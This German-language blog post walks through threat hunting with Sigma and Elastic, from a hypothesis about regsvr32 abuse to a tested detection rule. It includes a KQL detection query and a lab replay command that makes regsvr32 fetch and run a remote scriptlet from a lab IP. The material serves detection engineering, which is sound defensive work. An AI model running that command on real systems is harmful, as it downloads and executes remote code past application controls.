Threat Hunting mit Sigma und Elastic: Vom Indikator zur Detektionsregel

Threat Hunting heisst nicht, schoene Dashboards anzustarren und zu warten, bis etwas rot blinkt. Es beginnt mit einer haesslichen, handgeschriebenen Hypothese: 'ein Angreifer nutzte rundll32, um eine DLL ausserhalb von C:\Windows zu laden'. Bei Basilisk OffSec behandeln wir jede Jagd als kleines wissenschaftliches Experiment: Hypothese, gesammelte Daten, Query, Falsifizierung. Das Endergebnis wird, wenn es sich lohnt, eine in Git versionierte Sigma-Regel. Dieser Post zeigt den vollstaendigen Zyklus, den wir gegen ein Windows-11-Lab mit Sysmon 15 und Elastic 8.13 fahren, von einem rohen Indikator bis zu einer Detektion mit gemessener Falsch-Positiv-Rate.

Bevor wir eine Regel schreiben, brauchen wir echte Telemetrie. Wir haben ein Lab mit drei VMs aufgebaut: Windows 11 mit Sysmon (modifizierte SwiftOnSecurity-Config), ein minimaler Domain Controller nach unserem Active Directory Pentest: Kerberoasting Schritt fuer Schritt im GOAD Lab und ein Single-Node-Elastic mit Fleet. Um kontrolliertes boesartiges Verhalten zu erzeugen, nutzen wir Caldera mit ATT&CK-TTPs, wie in Adversary Emulation mit Caldera und MITRE ATT&CK im Unternehmenslab beschrieben. Jeder Lauf erzeugt etwa 4.000 Events pro Minute, genug um festzustellen, dass deine 'praezise Regel' in Wahrheit absurdes Rauschen produziert, sobald jemand Teams oeffnet.

Die Hypothese in diesem Beispiel stammt aus einem oeffentlichen Report: APT29 nutzte regsvr32 mit /s /u /i und einer HTTP-URL, um ein Payload herunterzuladen. Vor der Umsetzung als Sigma validierten wir sie in Elastic Discover mit KQL: process.name:regsvr32.exe and process.command_line:(*\/i\:http* or *\/i\:\\\\*). Wir fanden 12 Treffer in 7 Tagen, alle legitim (Unternehmens-Installer). Genau hier trennt sich der Hunter vom Generator nutzloser Alerts: anreichern mit process.parent.name und file.signature.signed. Verwandte Techniken zum Missbrauch signierter Binaries finden sich in unserem Hunting von Living-off-the-Land-Binaries unter Windows mit KQL, Pflichtlektuere vor dem Weitermachen.

Mit verfeinerter Query uebersetzen wir in Sigma-YAML. Die Regel bekam title, status experimental, logsource category process_creation und product windows, detection mit selection_img (Image endswith \regsvr32.exe), selection_cli (CommandLine contains all: ['/i:', '://']) und filter_signed (Signed: true) in condition selection_img and selection_cli and not filter_signed. Wir konvertieren mit sigma convert -t lucene -p ecs_windows regel.yml und erhalten die fertige Elastic-Query. Dieser Pipeline-Flow ist derselbe, den wir im Zyklus aus Purple Team in der Praxis: Aufbau eines Red-Blue-Feedback-Zyklus verwenden, wo Red TTPs liefert und Blue Coverage zurueckspielt.

Eine Sigma-Regel ohne Replay zu testen ist Blindglauben. Wir erzeugen echte Events, indem wir regsvr32 /s /u /i:http://10.10.0.5/payload.sct scrobj.dll im Lab ausfuehren, mit Winlogbeat einsammeln und messen: Time-to-Alert in Elastic Security war 14 Sekunden, mit null Falsch-Positiven in 72 Stunden Baseline. Beim Wechsel in simulierte Produktion (200 Endpoints) tauchte 1 FP pro Tag auf, ausgeloest von einem McAfee-Update mit /i: und lokalem Pfad. Wir passten den filter an, um CommandLine mit C:\Program Files auszuschliessen. Solche Iteration taucht auch bei lateraler Bewegung auf, behandelt in Lateral Movement im Lab: SMB, WMI und WinRM mit Detection-Fokus.

Dokumentation toetet Waisenregeln. Jede Sigma in unserem Repo hat Custom Fields: hypothesis, datasource_required, attack_id (T1218.010), false_positive_rate_observed, last_tested und einen Link zur pcap/EVTX aus dem Test. Versioniert wird in GitLab mit einer Pipeline, die sigma check ausfuehrt, dann sigma convert fuer Elastic, Splunk und Chronicle, und ueber die Kibana-API mit detection_engine/rules/_import publiziert. Schlaegt die Konvertierung fehl, bricht die Pipeline. Diese Disziplin trennt ein SOC, das sich entwickelt, von einem, das PDFs sammelt. Fuer ergaenzende schnelle DFIR-Sichtbarkeit nach einem Treffer empfehlen wir den Ansatz aus DFIR unter Linux: Live-Triage mit UAC und Velociraptor, adaptiert fuer Windows mit KAPE.

Der praktische Takeaway: Schreibe keine Sigma fuer Indikatoren, die du nie in deinen Daten gesehen hast. Starte immer damit, die TTP im Lab auszufuehren, zaehle die erzeugten Events, zaehle die aehnlichen legitimen Events, und erst dann schreibe die Regel. Internes Basilisk-Ziel: keine Regel geht in Produktion ohne 7 Tage Baseline und gemessene FP-Rate unter 1 pro 10.000 Quell-Events. Fang morgen mit einer kleinen Hypothese, einer Query und einem YAML an. In drei Monaten hast du 30 Detektionen, die wirklich funktionieren, statt 300, die nur Muedigkeit erzeugen.